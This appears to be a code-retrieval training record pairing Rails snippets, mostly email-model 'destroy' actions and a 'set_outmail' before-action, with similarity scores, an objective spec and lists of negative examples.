"def destroy\n @mail_list.destroy\n respond_to do |format|\n format.html { redirect_to admin_mail_lists_url, notice: 'Mail list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_export.destroy\n respond_to do |format|\n format.html { redirect_to email_exports_url, notice: 'Email export was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mail_item = MailItem.find(params[:id])\n @mail_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(mail_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dispatched_email = DispatchedEmail.find(params[:id])\n @dispatched_email.destroy\n\n respond_to do |format|\n format.html { redirect_to dispatched_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @emailId = @email.id;\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email supprimé !' }\n format.json { head :no_content }\n format.js{}\n end\n end",
"def delete(*args)\n arguments(args)\n params = arguments.params\n params['data'] = arguments.remaining unless arguments.remaining.empty?\n\n delete_request(\"/user/emails\", params)\n end",
"def destroy\n @mailer = Mailer.find(params[:id])\n @mailer.destroy\n\n head :no_content\n end",
"def destroy\n @receive_email.destroy\n respond_to do |format|\n format.html { redirect_to receive_emails_url, notice: 'Receive email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @views_email = ViewsEmail.find(params[:id])\n @views_email.destroy\n\n respond_to do |format|\n format.html { redirect_to(views_emails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @email_notification.destroy\n respond_to do |format|\n format.html { redirect_to email_notifications_url, notice: 'Email notification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailmaga.destroy\n respond_to do |format|\n format.html { redirect_to mailmagas_url, notice: 'Mailmaga was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_lead.destroy\n respond_to do |format|\n format.html { redirect_to email_leads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gmail.destroy\n respond_to do |format|\n format.html { redirect_to gmails_url, notice: 'Gmail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pushup_reminder.destroy\n\n respond_to do |format|\n format.html { redirect_to pushup_reminders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @newemail.destroy\n respond_to do |format|\n format.html { redirect_to newemails_url, notice: 'Newemail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_reminder.destroy\n respond_with @email_reminder\n end",
"def destroy\n @outmessage = Outmessage.find(params[:id])\n @outmessage.destroy\n\n respond_to do |format|\n format.html { redirect_to outmessages_url }\n format.json { head :ok }\n end\n end",
"def destroy(email)\n Mailgun.submit :delete, complaint_url(email)\n end",
"def destroy\n\n if is_logged_in?\n\n @mail_client = MailClient.find(params[:id])\n @mail_client.destroy\n\n respond_to do |format|\n format.html { redirect_to(mail_clients_url) }\n format.xml { head :ok }\n end\n else\n goto_login\n end\n \n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @contactperson_email.destroy\n respond_to do |format|\n format.html { redirect_to contactperson_emails_url, notice: 'Contactperson email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email = Email.find(params[:id])\n @organizer = Organizer.find(params[:organizer_id])\n @email.destroy\n \n respond_to do |format|\n format.html { flash[:message]=\"email contact successfully deleted !\"\n redirect_to(organizer_emails_path(@organizer)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @alert_email = AlertEmail.find(params[:id])\n @alert_email.destroy\n\n respond_to do |format|\n format.html { redirect_to(alert_emails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n delayed_email = @email_account.delayed_emails.find_by(:uid => params[:delayed_email_uid])\n delayed_email.destroy!() if delayed_email\n\n render :json => {}\n end",
"def destroy\n @scmail = Scmail.find(params[:id])\n @scmail.destroy\n\n respond_to do |format|\n format.html { redirect_to(scmails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inbox.destroy\n respond_to do |format|\n format.html { redirect_to inboxes_url, notice: 'Inbox was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailername.destroy\n respond_to do |format|\n format.html { redirect_to mailernames_url, notice: 'Mailername was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteAllEmail\n queryParams = Hash.new\n queryParams['key'] = @API_KEY\n queryParams['mailbox'] = @MAILBOX\n RestClient.post(\"#{@BASE_URI}/emails/deleteall\", nil, {:params => queryParams})\n end"
] |
[
"0.7261736",
"0.71905136",
"0.7028897",
"0.6978332",
"0.6911046",
"0.6895673",
"0.68913597",
"0.68913597",
"0.68858176",
"0.68458706",
"0.6802125",
"0.67750746",
"0.67691565",
"0.67633086",
"0.67427605",
"0.67371416",
"0.6714568",
"0.6711987",
"0.670825",
"0.67059284",
"0.6704866",
"0.66958445",
"0.668641",
"0.66719615",
"0.6664765",
"0.66587555",
"0.66485846",
"0.6642853",
"0.66401315",
"0.66392934",
"0.66309243",
"0.6626488",
"0.66128176",
"0.66128176",
"0.6606912",
"0.6597927",
"0.6588356",
"0.6587832",
"0.65856266",
"0.65831095",
"0.657914",
"0.6568654",
"0.6558453",
"0.6553644",
"0.6553644",
"0.6553644",
"0.6553644",
"0.6553644",
"0.6553644",
"0.6553644",
"0.6553644",
"0.6553644",
"0.6550973",
"0.6533524",
"0.6514936",
"0.65075797",
"0.6503466",
"0.6495204",
"0.6493422",
"0.6485807",
"0.64678997",
"0.646563",
"0.6460014",
"0.64515525",
"0.64511764",
"0.6439882",
"0.64393455",
"0.6437765",
"0.64377594",
"0.6436729",
"0.6434861",
"0.6430973",
"0.6428117",
"0.64273494",
"0.6426785",
"0.6416525",
"0.64140385",
"0.6408516",
"0.64082104",
"0.6407215",
"0.6395903",
"0.63874394",
"0.63871944",
"0.63819516",
"0.63812995",
"0.6367397",
"0.636392",
"0.6344742",
"0.6341898",
"0.63415587",
"0.6339797",
"0.63385975",
"0.6337523",
"0.63349193",
"0.633406",
"0.6327697",
"0.632528",
"0.6324466",
"0.631925",
"0.6317529"
] |
0.7249165
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_outmail
@outmail = Outmail.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def outmail_params
params.require(:outmail).permit(:title, :to, :datesend, :mailtext, :response)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
